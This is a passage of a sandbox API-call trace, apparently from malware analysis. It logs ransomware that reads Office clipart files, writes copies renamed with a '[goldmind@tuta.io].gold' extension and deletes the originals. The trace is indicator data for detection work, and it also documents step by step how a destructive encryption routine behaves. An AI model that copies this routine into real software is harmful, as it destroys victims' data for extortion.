(lpString=".7z") returned 3 [0094.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.507] lstrlenW (lpString=".dbf") returned 4 [0094.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.507] lstrlenW (lpString=".1cd") returned 4 [0094.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0094.507] lstrlenW (lpString=".jpg") returned 4 [0094.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.507] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.507] lstrlenW (lpString="DD01176_.WMF") returned 12 [0094.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.514] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1888) returned 1 [0094.514] CloseHandle (hObject=0x3b0) returned 1 [0094.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0094.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.515] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.515] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.515] GetLastError () returned 0x0 [0094.515] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x760, lpOverlapped=0x0) returned 1 [0094.516] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x770, lpOverlapped=0x0) returned 1 [0094.517] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.517] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.517] SetEndOfFile (hFile=0x38c) returned 1 [0094.517] CloseHandle (hObject=0x38c) returned 1 [0094.517] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.517] SetEndOfFile (hFile=0x3b0) returned 1 [0094.519] CloseHandle (hObject=0x3b0) returned 1 [0094.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0094.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.519] lstrlenW (lpString=".doc") returned 4 [0094.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".docx") returned 5 [0094.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.520] lstrlenW (lpString=".pdf") returned 4 [0094.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".xls") returned 4 [0094.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.520] lstrlenW (lpString=".xlsx") returned 5 [0094.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.520] lstrlenW (lpString=".ppt") returned 4 [0094.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".zip") returned 4 [0094.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.520] lstrlenW (lpString=".rar") returned 4 [0094.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".bz2") returned 4 [0094.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".7z") returned 3 [0094.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".dbf") returned 4 [0094.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".1cd") returned 4 [0094.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".jpg") returned 4 [0094.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".doc") returned 4 [0094.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".docx") returned 5 [0094.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.520] lstrlenW (lpString=".pdf") returned 4 [0094.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".xls") returned 4 [0094.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.520] lstrlenW (lpString=".xlsx") returned 5 [0094.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.520] lstrlenW (lpString=".ppt") returned 4 [0094.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".zip") returned 4 [0094.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.520] lstrlenW (lpString=".rar") returned 4 [0094.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".bz2") returned 4 [0094.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.520] lstrlenW (lpString=".7z") returned 3 [0094.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.520] lstrlenW (lpString=".dbf") returned 4 [0094.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.521] lstrlenW (lpString=".1cd") returned 4 [0094.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0094.521] lstrlenW (lpString=".jpg") returned 4 [0094.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.521] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.521] lstrlenW (lpString="DD01178_.WMF") returned 12 [0094.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.521] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3796) returned 1 [0094.521] CloseHandle (hObject=0x3b0) returned 1 [0094.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0094.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.522] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.522] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.522] GetLastError () returned 0x0 [0094.522] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xed4, lpOverlapped=0x0) returned 1 [0094.523] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0094.524] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.524] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.524] SetEndOfFile (hFile=0x38c) returned 1 [0094.524] CloseHandle (hObject=0x38c) returned 1 [0094.524] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.524] SetEndOfFile (hFile=0x3b0) returned 1 [0094.527] CloseHandle (hObject=0x3b0) returned 1 [0094.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".doc") returned 4 [0094.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".docx") returned 5 [0094.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.528] lstrlenW (lpString=".pdf") returned 4 [0094.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".xls") returned 4 [0094.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.528] lstrlenW (lpString=".xlsx") returned 5 [0094.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.528] lstrlenW (lpString=".ppt") returned 4 [0094.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".zip") returned 4 [0094.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.528] lstrlenW (lpString=".rar") returned 4 [0094.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".bz2") returned 4 [0094.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".7z") returned 3 [0094.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".dbf") returned 4 [0094.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".1cd") returned 4 [0094.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".jpg") returned 4 [0094.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".doc") returned 4 [0094.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".docx") returned 5 [0094.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.528] lstrlenW (lpString=".pdf") returned 4 [0094.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString=".xls") returned 4 [0094.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.528] lstrlenW (lpString=".xlsx") returned 5 [0094.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.528] lstrlenW (lpString=".ppt") returned 4 [0094.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.528] lstrlenW (lpString=".zip") returned 4 [0094.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.529] lstrlenW (lpString=".rar") returned 4 [0094.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.529] lstrlenW (lpString=".bz2") returned 4 [0094.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.529] lstrlenW (lpString=".7z") returned 3 [0094.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.529] lstrlenW (lpString=".dbf") returned 4 [0094.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.529] lstrlenW (lpString=".1cd") returned 4 [0094.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0094.529] lstrlenW (lpString=".jpg") returned 4 [0094.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.529] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.529] lstrlenW (lpString="DD01179_.WMF") returned 12 [0094.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.529] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2024) returned 1 [0094.529] CloseHandle (hObject=0x3b0) returned 1 [0094.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0094.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.530] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.530] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.532] GetLastError () returned 0x0 [0094.532] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7e8, lpOverlapped=0x0) returned 1 [0094.533] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0094.534] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.534] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.534] SetEndOfFile (hFile=0x38c) returned 1 [0094.534] CloseHandle (hObject=0x38c) returned 1 [0094.534] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.534] SetEndOfFile (hFile=0x3b0) returned 1 [0094.536] CloseHandle (hObject=0x3b0) returned 1 [0094.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString=".doc") returned 4 [0094.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString=".docx") returned 5 [0094.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.537] lstrlenW (lpString=".pdf") returned 4 [0094.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString=".xls") returned 4 [0094.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.537] lstrlenW (lpString=".xlsx") returned 5 [0094.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.537] lstrlenW (lpString=".ppt") returned 4 [0094.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString=".zip") returned 4 [0094.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.537] lstrlenW (lpString=".rar") returned 4 [0094.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString=".bz2") returned 4 [0094.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString=".7z") returned 3 [0094.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString=".dbf") returned 4 [0094.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString=".1cd") returned 4 [0094.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.537] lstrlenW (lpString=".jpg") returned 4 [0094.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString=".doc") returned 4 [0094.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString=".docx") returned 5 [0094.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.538] lstrlenW (lpString=".pdf") returned 4 [0094.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString=".xls") returned 4 [0094.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.538] lstrlenW (lpString=".xlsx") returned 5 [0094.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.538] lstrlenW (lpString=".ppt") returned 4 [0094.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString=".zip") returned 4 [0094.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.538] lstrlenW (lpString=".rar") returned 4 [0094.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString=".bz2") returned 4 [0094.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString=".7z") returned 3 [0094.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString=".dbf") returned 4 [0094.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString=".1cd") returned 4 [0094.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0094.538] lstrlenW (lpString=".jpg") returned 4 [0094.538] 